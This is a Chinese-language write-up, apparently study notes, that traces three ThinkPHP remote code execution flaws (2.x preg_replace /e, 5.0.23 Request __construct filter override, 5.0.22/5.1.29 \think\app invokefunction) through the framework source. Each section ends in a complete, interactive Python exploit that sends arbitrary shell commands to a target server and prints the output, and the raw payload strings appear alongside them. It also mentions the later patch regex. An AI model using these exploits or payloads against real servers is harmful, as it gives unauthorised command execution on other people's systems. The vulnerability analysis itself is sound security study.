十年磨一剑
Thinkphp 2.x
适用于thinkphp2.x-3.0,php<7.0
原理
核心漏洞在Dispatcher.class类的定义
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";',implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
routerCheck()方法本来是用于拆路由的,但里面写了这么一句话
if(!C('URL_ROUTER_ON')) return false; // 配置优先
C()是用来引用常量的
再看URL_ROUTER_ON的默认值
'URL_ROUTER_ON'=> false,
那看来路由无论怎么输都会跳到(!self::routerCheck()),恰好这里就有漏洞
首先$_SERVER['PATH_INFO']指的是路由里入口文件到?传参之间的路由
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等信息的 [array]
http://域名/【index.php或其他或无】/【这部分就是PATH_INFO】?【这部分是$_GET】
这部分路由会被切成数组,第一个索引定义为模块然后array_shift()移出,第二个索引被定义为VAR_ACTION我也不知道什么东西,然后被移除数组
关键的来了,剩下的会被转换成字符串然后替换成传参形式
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";',implode($depr,$paths));
\1指代第一个捕获(\w+),\2指代第二个捕获([^'.$depr.'/]+)
这个$depr是个常量,就是个分隔符
$depr = C('URL_PATHINFO_DEPR');
'URL_PATHINFO_DEPR' => '/'
\e修饰符是漏洞核心,在replace中使用。会把替换内容当做php代码执行(该修饰符在php7.0的版本后彻底废弃)
也就是说这部分意思是把a/b替换成$var[a]=b然后执行$var[a]=b
刚好php里可以使用${}返回函数执行结果,索性我们把路由修改成${},而且前面至少有三个路径
index.php/a/b/c/${phpinfo()}
不知道为什么不能加引号'',可能是phpthink会自动把''等字符进行转义
完整exp
import requests
url = input()
sink = '${system($_GET[cmd]) && exit()}'
while True:
param = input()
payload = f"{url}/index.php/a/b/c/{sink}"
res = requests.get(payload,params={'cmd':param})
print(res.text)
Thinkphp 5.x
0x01 5.0.23 远程代码执行漏洞
ThinkPHP 5.0.x < 5.0.23 ThinkPHP 5.1.x < 5.1.31 php任意版本
原理
这个链子真看得我想哭,不多说了。要理解这个链子,先搞懂全局变量和局部变量
$a = 'uky'
private function uuu($a = 123){
echo $a; // 局部变量123
echo $this->a; // 全局变量uky
}
在request.php找到了危险函数call_user_func()
call_user_func(函数,参数)
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
}
}
}
$filters要传['system'],$value要传命令,先记下来。再找谁调了filterValue
找到两个,一个是cookie()另一个是input(),但好像cookie()在框架里永远不会被调用,于是排除
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
}
$filter = $this->getFilter($filter, $default); // 注意这里
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
// array_walk_recursive()把data的每一个值都执行this.filterValue,$filter作为参数
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
return $data;
}
php里' '不是false而是true
注意这里如果name不为空不为false就会按点切成数组,如果data也有name数组里的值,就塞进data给array_walk_recursive处理,而array_walk_recursive就会触发filterValue
$filter仍是['system'],现在要给$data传命令,而且还不能让$name为false
再看谁调用了input()
一个是server()
protected $server = [];
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
如果$server为空,他会把$_SERVER字典传给了$data;$name说不上来,先搁着;函数传给input时$filter = ' ',但传到input里会用getFilter()把全局变量$filter赋值给传进去的 ' ' $filter,所以还要想办法控制全局变量$filter
另一个是param()
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
这个会在传参的时候调用。注意这里mergeParam其实有值,去看第四行用到的method方法:如果按正常思路,REQUEST_METHOD会交给server当作$name处理,而server又会把$server和$name交给input,input会把$data = $_SERVER;$name = REQUEST_METHOD交给input,经过input的数组处理,最终全局变量$data = $_SERVER[REQUEST_METHOD]
还记得$data要传命令吗,正常情况下我们不可能随意篡改$_SERVER[]数组,所以这个路线行不通。相反我们要避免这条路线,不能使$server为空,还要让$data = 命令
所以如果能改,$server必须要篡改成[REQUEST_METHOD => '命令'],这样在input切数组时发现$data[REQUEST_METHOD]是存在的,于是把$data[REQUEST_METHOD]的值赋给$data,解决了命令执行问题
所以当务之急是找到改$filter和$server的方法
protected $method;
'var_method' => '_method'
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
注意method函数里默认情况下$method = false,如果为false就会获取$POST参数里的_method转大写然后动态执行,读取$POST里的参数,这就是传参的入口
$this->{$this->method}() // $this->method是一个字符串,表示方法名。如果此类有这个方法,再次$this->引用就会调用这个方法
现在我们开始讨论如何通过传参的方式修改$data和$filter,刚好这个类有个魔术方法可以覆盖变量
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
}
由于php函数大小写不影响函数使用,结合method的动态调用,我们可以覆盖$server和$filter的全局变量
$this->method = $_POST[_method] = __construct
$this->{$this->method}($_POST); <=> $this->__CONSTRUCT($POST)
payload:POST传值
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
但这个是不能生效的,因为我们忽略了一个小细节:method函数会把_method赋给全局变量$method然后return。而route.php里的check方法则调用了method()
private static $rules = [
'get' => [],
'post' => [],
'put' => [],
'delete' => [],
'patch' => [],
'head' => [],
'options' => [],
'*' => [],
'alias' => [],
'domain' => [],
'pattern' => [],
'name' => [],
];
$method = strtolower($request->method());
// 获取当前请求类型的路由规则
$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
如果传过来的路由表没有,check()函数就设置$rule为[]并return false。return false会有什么后果呢。app.php规定了
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
为了避免报错,我们需要利用__construct把全局变量$method设置为$rules方法里的任意一种,所以POST的传值应改为
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
还记得param必须要传参才能触发吗,准确的说必须要传?s=路由才能触发
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'controller':
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action($dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix']);
break;
case 'method':
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
// ...
}
}
s 是一个极其特殊的系统级参数:兼容模式路由
现代 PHP 框架推崇的 URL 格式是依靠 PATH_INFO机制的,长这样:
http://example.com/index.php/index/user/login早年间,很多服务器(特别是旧版的 Nginx、IIS 或者某些廉价虚拟主机)默认不支持 PATH_INFO。于是就有了s参数负责传递路由
exec()会根据你传入的路由来判断属于哪一种类型,然后调用该类型下的instance()->param()。所以必须要传入真实路由才能触发param()
常用的是captcha路由,他是thinkphp用来搞验证码的扩展模块
故RCE还需要传参?s=captcha
完整exp
import requests
url = input('攻击地址: ')
user_input = input('需要给定合法路由(默认为captcha): ').strip()
route = user_input if user_input else 'captcha'
f_url = f"{url}/index.php"
while True:
get_params = {
's' : f"{route}"
}
order = input('> ')
get_data = {
'_method' : '__construct',
'filter[]' : 'system',
'method' : 'get',
'server[REQUEST_METHOD]': f"{order}"
}
res = requests.post(f_url,params=get_params,data=get_data,timeout=3)
if '<!DOCTYPE html>' in res.text:
output = res.text.split('<!DOCTYPE html>')[0].strip()
print(output)
这个漏洞核心在于filterValue函数的call_user_func调用,而filterValue又被input调用,input又被param调用,param又被路由调度调用,所以我们需要通过传参的方式来触发这个链子。由于method函数的动态调用,我们可以利用__construct覆盖全局变量$filter和$server,从而实现远程代码执行。
0x02 5.0.22/5.1.29 远程代码执行漏洞
ThinkPHP 5.0.x <= 5.0.22,ThinkPHP 5.1.x <= 5.1.30,php>5.x
原理
🤮
核心漏洞:php为了解决命名冲突,在5.x引入了命名空间,在类里使用namespace MyProject;,不同命名空间下引用同一个变量名/函数名不会引发冲突。php允许使用\来代表全局命名空间
比如\think\app,指的是 /thinkphp/library/think/ 下的app.php
Thinkphp有一个核心机制,就是路由映射表。他会将访问的路由映射成命名空间,通过命名空间查找文件。它的漏洞也在这里,可以让人访问任意命名空间,包括核心代码。rce流程如下:
App.php里的module方法负责调度模块,实现操作方法,由路径控制,它的工作方法是这样的
路径的参数由$result控制
if (is_string($result)) {
$result = explode('/', $result);
}
第一个路由 result[0]:模块初始化
if ($config['app_multi_module']) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $config['default_module']));
$bind = Route::getBind('module');
$available = false;
}
// default_module默认为index
第二个路由 result[1]:控制器
// 获取控制器名,如果$convert为布尔值且为false就会传result,$convert默认为false
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;
try {
$instance = Loader::controller(
$controller, // $result[1]路由
$config['url_controller_layer'], // controller
$config['controller_suffix'], // false
$config['empty_controller'] // Error
);
漏洞点在控制器处,在我们看看Loader::controller原本是怎么运作的
public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);
// list先分装$module和$class
if (class_exists($class)) {
return App::invokeClass($class);
}
// 如果class存在,调用invokeClass
if ($empty) {
$emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);
if (class_exists($emptyClass)) {
return new $emptyClass(Request::instance());
}
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
看getModuleAndClass是如何分装的
protected static function getModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$module = Request::instance()->module();
$class = $name;
// 如果$name首次出现的位置不为false,则class直接等于name
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = Request::instance()->module(); // 实例化并返回该模块
}
$class = self::parseClass($module, $layer, $name, $appendSuffix);
}
return [$module, $class];
}
结合前面传的参数,getModuleAndClass只会使用parseClass进行处理,我们重点看这个parseClass是如何处理$class的
public static function parseClass($module, $layer, $name, $appendSuffix = false)
{
// $module是经过实例化的模块 $layer是'controller',$name是$result[1]路由,$appendSuffix为false
$array = explode('\\', str_replace(['/', '.'], '\\', $name)); // 返回""
$class = self::parseName(array_pop($array), 1); // 抽空数组
$class = $class . (App::$suffix || $appendSuffix ? ucfirst($layer) : ''); //false
$path = $array ? implode('\\', $array) . '\\' : ''; // 返回\
// think\module\controller\$name
return App::$namespace . '\\' .
($module ? $module . '\\' : '') .
$layer . '\\' . $path . $class;
}
第一步:由于$name里无\,所以str_replace处理完还是$name,变成数组只有他一个[0=>$name]
第二步:array_pop会把原数组元素pop掉然后返回pop出的元素,数组变成空数组(null),$class经parseName处理变成首字母大写的"$name"
第三步:由于App::$suffix 和 $appendSuffi 都为false,所以class=" ".' ' =" "
第四步:$array变空了,所以返回' '
最终return:think\$module\controller\$name
然后逆着看,再controller里就会查找think\$module\controller\$name这个类是否存在,存在就调用invokeClass
public static function invokeClass($class, $vars = [])
{
$reflect = new \ReflectionClass($class);
$constructor = $reflect->getConstructor();
$args = $constructor ? self::bindParams($constructor, $vars) : [];
return $reflect->newInstanceArgs($args);
}
这段代码你可以把它理解为php版的反射,获得该类的构造方法然后实例化该类
讲完这么多,漏洞所在其实很容易被发现。假如我们传给$name的是\think\app,因为 0 !== false那么getModuleAndClass函数就不会走parseClass,而是直接return\think\app。那么invokeClass时就会把他当作命名空间,从而把/thinkphp/library/think/app.php给实例化了
再看第三个路由 result[2]:操作名
// $convert = null
// 'url_convert' => true
$convert = is_bool($convert) ? $convert : $config['url_convert'];
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;
// 'default_action' => 'index'
// action_convert在config里无初始值
$actionName = strip_tags($result[2] ?: $config['default_action']);
if (!empty($config['action_convert'])) {
$actionName = Loader::parseName($actionName, 1);
} else {
$actionName = $convert ? strtolower($actionName) : $actionName;
}
$request->controller(Loader::parseName($controller, 1))->action($actionName);
// 链式调用存储$result[1]和$result[2]
$action = $request->action() ? $request->action() : $config['default_action'];
// 取出$result[2]给$action
$call = [$instance, $action];
// 和$result[1]的实例一起封装
try {
$data = self::invokeMethod($call, $vars);
// 调用invokeMethod
} catch (\ReflectionException $e) {
// ...
}
我们看一下invokeMethod方法
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}
和java很像,用于调用实例化后的$result[1]的$result[2]方法
那app类有什么我们可以控制参数的危险方法吗
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
private static function bindParams($reflect, $vars = [])
{
// 自动获取请求变量
// url_param_type为空
if (empty($vars)) {
$vars = Config::get('url_param_type') ?
Request::instance()->route() :
Request::instance()->param();
// param() 方法会把当前请求的 $_GET、$_POST、$_ROUTE 里的所有参数全部打包成一个大数组赋值给 $vars
}
$args = [];
if ($reflect->getNumberOfParameters() > 0) {
// 判断数组类型 数字数组时按顺序绑定参数
reset($vars);
$type = key($vars) === 0 ? 1 : 0;
foreach ($reflect->getParameters() as $param) {
$args[] = self::getParamValue($param, $vars, $type);
}
// $param = [ $function, $vars = [] ]
// 去你刚刚收集的那个 $vars 数组里,寻找跟 $param 同名的键值,把它抽出来
}
return $args;
}
用这个方法传参,$function传危险函数
搭配bindParams,$vars = [] 可以通过get,post形式传参。至此这条链子也打通了
function不推荐使用system,因为bindParams会遍历function的定义参数:
system ( string $command , int &$return_var = null )
第二个是引用传参,应该传地址,这里不好构造。推荐传
call_user_func_array ( callable $callback , array $param_arr )
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
完整exp
import requests
url = input()
while True:
cmd = input()
paras = {
's' : 'index/\\think\\app/invokefunction'
}
data = {
'function': 'call_user_func_array',
'vars[0]': 'system',
'vars[1][]': cmd
}
try:
res = requests.post(url, params=paras , data=data, timeout=10, verify=False)
print(res.text)
except Exception as e:
print(f"Error: {e}")

总结一下这个漏洞,归根结底是thinkphp的命名空间机制和自动加载机制引起的。由于thinkphp把\think\app这个命名空间直接映射到源码目录下的app.php文件,所以当我们传入\think\app时就会直接实例化app.php这个类,而app.php里又有个invokeFunction方法可以调用任意函数,最终导致了远程代码执行漏洞。
所以后续版本就是给$controller加了个正则,不允许使用\
$controller = strip_tags($result[1] ?: $config['default_controller']);
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
